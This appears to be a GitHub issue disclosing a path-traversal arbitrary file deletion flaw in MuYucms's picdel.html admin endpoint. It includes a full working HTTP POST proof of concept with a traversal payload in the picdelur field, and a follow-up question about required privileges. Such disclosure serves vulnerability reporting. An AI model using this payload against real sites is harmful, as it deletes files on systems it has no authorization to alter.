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MuYucms picdel.html has Arbitrary file deletion vulnerability #8

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zhaodie opened this issue Feb 27, 2023 · 1 comment
Open

MuYucms picdel.html has Arbitrary file deletion vulnerability #8

zhaodie opened this issue Feb 27, 2023 · 1 comment

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@zhaodie
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zhaodie commented Feb 27, 2023

Vulnerability exists in picdel.html
1、 We put a txt file in the root of our website with the file name test.txt.
2、Constructing packets after logging into the backend

POST /admin.php/accessory/picdel.html HTTP/1.1
Host: test.test
Content-Length: 54
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://test.test
Referer: http://test.test/admin.php/accessory/filelist.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: muyu_checkaccre=1676530347; PHPSESSID=ae5mpn24ivb25od6st8sdoouf7; muyu_first=1676531718;XDEBUG_SESSION=PHPSTORM
Connection: close

picdelur=/upload/files/.gitignore/../../../../test.txt

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@attritionorg
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What privileges are required for this?

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